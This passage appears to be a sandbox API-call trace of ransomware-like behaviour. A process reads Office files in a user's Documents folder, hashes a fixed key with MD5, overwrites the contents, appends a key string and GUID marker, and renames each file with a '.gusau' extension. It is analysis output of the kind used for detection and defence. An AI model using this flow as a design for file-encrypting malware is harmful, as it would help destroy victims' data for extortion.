lpNumberOfBytesRead=0x405fb78*=0x6129, lpOverlapped=0x0) returned 1 [0117.233] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.233] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.233] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.233] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.234] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.234] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.234] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.234] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.234] GetLastError () returned 0x0 [0117.234] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.234] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.234] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.234] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x6129, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.234] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.235] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.235] CloseHandle (hObject=0x610) returned 1 [0117.235] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wZOz3j2ll6HfOuxlg93b.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wzoz3j2ll6hfouxlg93b.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wZOz3j2ll6HfOuxlg93b.docx.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wzoz3j2ll6hfouxlg93b.docx.gusau")) returned 1 [0117.236] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.236] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.237] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0117.237] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x206de7d0, ftCreationTime.dwHighDateTime=0x1d5067d, ftLastAccessTime.dwLowDateTime=0xefb29d0, ftLastAccessTime.dwHighDateTime=0x1d4e2bb, ftLastWriteTime.dwLowDateTime=0xefb29d0, ftLastWriteTime.dwHighDateTime=0x1d4e2bb, nFileSizeHigh=0x0, nFileSizeLow=0x6b06, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x7bIgakKt.docx", cAlternateFileName="X7BIGA~1.DOC")) returned 1 [0117.237] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.237] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8e) returned 0x3883e18 [0117.237] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.237] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\x7bIgakKt.docx") returned=".docx" [0117.237] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\x7bIgakKt.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\x7bigakkt.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.238] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=27398) returned 1 [0117.238] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.239] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x6ae0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.239] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.240] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.240] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.241] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x6b06, lpOverlapped=0x0) returned 1 [0117.241] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.241] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.241] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.241] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.242] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.242] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.242] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.242] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.242] GetLastError () returned 0x0 [0117.242] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.242] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.242] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x6b10) returned 0x39f9f20 [0117.242] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.243] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.243] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x6b01, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x6b01, lpOverlapped=0x0) returned 1 [0117.243] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.243] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x6b06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.243] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.243] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5210 [0117.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5210, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.243] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5640 [0117.243] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.243] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.243] WriteFile (in: hFile=0x610, lpBuffer=0x39f5640*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5640*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.243] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5640 | out: hHeap=0xd10000) returned 1 [0117.243] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.243] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.243] CloseHandle (hObject=0x610) returned 1 [0117.244] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0117.244] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x880) returned 0x39f5210 [0117.244] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b80 | out: hHeap=0xd10000) returned 1 [0117.244] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\x7bIgakKt.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\x7bigakkt.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\x7bIgakKt.docx.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\x7bigakkt.docx.gusau")) returned 1 [0117.245] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.245] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.246] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0117.246] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78096350, ftCreationTime.dwHighDateTime=0x1d510d4, ftLastAccessTime.dwLowDateTime=0x26e74990, ftLastAccessTime.dwHighDateTime=0x1d4d29c, ftLastWriteTime.dwLowDateTime=0x26e74990, ftLastWriteTime.dwHighDateTime=0x1d4d29c, nFileSizeHigh=0x0, nFileSizeLow=0x14e72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XhDBm5L_.xlsx", cAlternateFileName="XHDBM5~1.XLS")) returned 1 [0117.246] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.246] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8e) returned 0x3883e18 [0117.246] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.246] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XhDBm5L_.xlsx") returned=".xlsx" [0117.246] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XhDBm5L_.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xhdbm5l_.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.247] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=85618) returned 1 [0117.247] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.249] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x14e4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.249] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.250] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.250] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.250] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.250] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x14e72, lpOverlapped=0x0) returned 1 [0117.252] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.252] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.252] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.252] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.252] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.252] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.252] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.252] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.252] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.253] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.253] GetLastError () returned 0x0 [0117.253] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.253] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.253] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.253] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x14e70) returned 0x39f9f20 [0117.253] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.253] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.253] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x14e6d, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x14e6d, lpOverlapped=0x0) returned 1 [0117.254] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.254] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x14e72, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.254] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.254] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5210 [0117.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5210, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.254] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5640 [0117.254] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.254] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.254] WriteFile (in: hFile=0x610, lpBuffer=0x39f5640*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5640*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.254] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5640 | out: hHeap=0xd10000) returned 1 [0117.254] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.254] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.254] CloseHandle (hObject=0x610) returned 1 [0117.255] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0117.255] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x880) returned 0x39f5210 [0117.255] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b80 | out: hHeap=0xd10000) returned 1 [0117.255] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XhDBm5L_.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xhdbm5l_.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XhDBm5L_.xlsx.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xhdbm5l_.xlsx.gusau")) returned 1 [0117.256] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.256] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.257] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0117.257] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8edea50, ftCreationTime.dwHighDateTime=0x1d4df79, ftLastAccessTime.dwLowDateTime=0xda42c530, ftLastAccessTime.dwHighDateTime=0x1d4d05a, ftLastWriteTime.dwLowDateTime=0xda42c530, ftLastWriteTime.dwHighDateTime=0x1d4d05a, nFileSizeHigh=0x0, nFileSizeLow=0xa2d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yB0OOX Rk5q.pptx", cAlternateFileName="YB0OOX~1.PPT")) returned 1 [0117.257] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.257] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8e) returned 0x3883e18 [0117.257] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.257] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yB0OOX Rk5q.pptx") returned=".pptx" [0117.257] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yB0OOX Rk5q.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yb0oox rk5q.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.257] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=41682) returned 1 [0117.257] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.259] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xa2ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.259] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.261] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.261] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.261] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.261] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xa2d2, lpOverlapped=0x0) returned 1 [0117.261] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.261] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.261] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.262] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.262] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.262] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.262] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.262] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.262] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.262] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.262] GetLastError () returned 0x0 [0117.263] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.263] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.263] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.263] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa2d0) returned 0x39f9f20 [0117.263] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.263] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.263] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0xa2cd, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0xa2cd, lpOverlapped=0x0) returned 1 [0117.263] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.263] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xa2d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.263] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.263] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5210 [0117.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5210, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.263] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5640 [0117.263] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.263] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.263] WriteFile (in: hFile=0x610, lpBuffer=0x39f5640*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5640*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.264] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5640 | out: hHeap=0xd10000) returned 1 [0117.264] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.264] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.264] CloseHandle (hObject=0x610) returned 1 [0117.264] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0c68 [0117.264] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x880) returned 0x39f5210 [0117.265] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0c68 | out: hHeap=0xd10000) returned 1 [0117.265] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yB0OOX Rk5q.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yb0oox rk5q.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yB0OOX Rk5q.pptx.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yb0oox rk5q.pptx.gusau")) returned 1 [0117.265] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.265] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.266] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 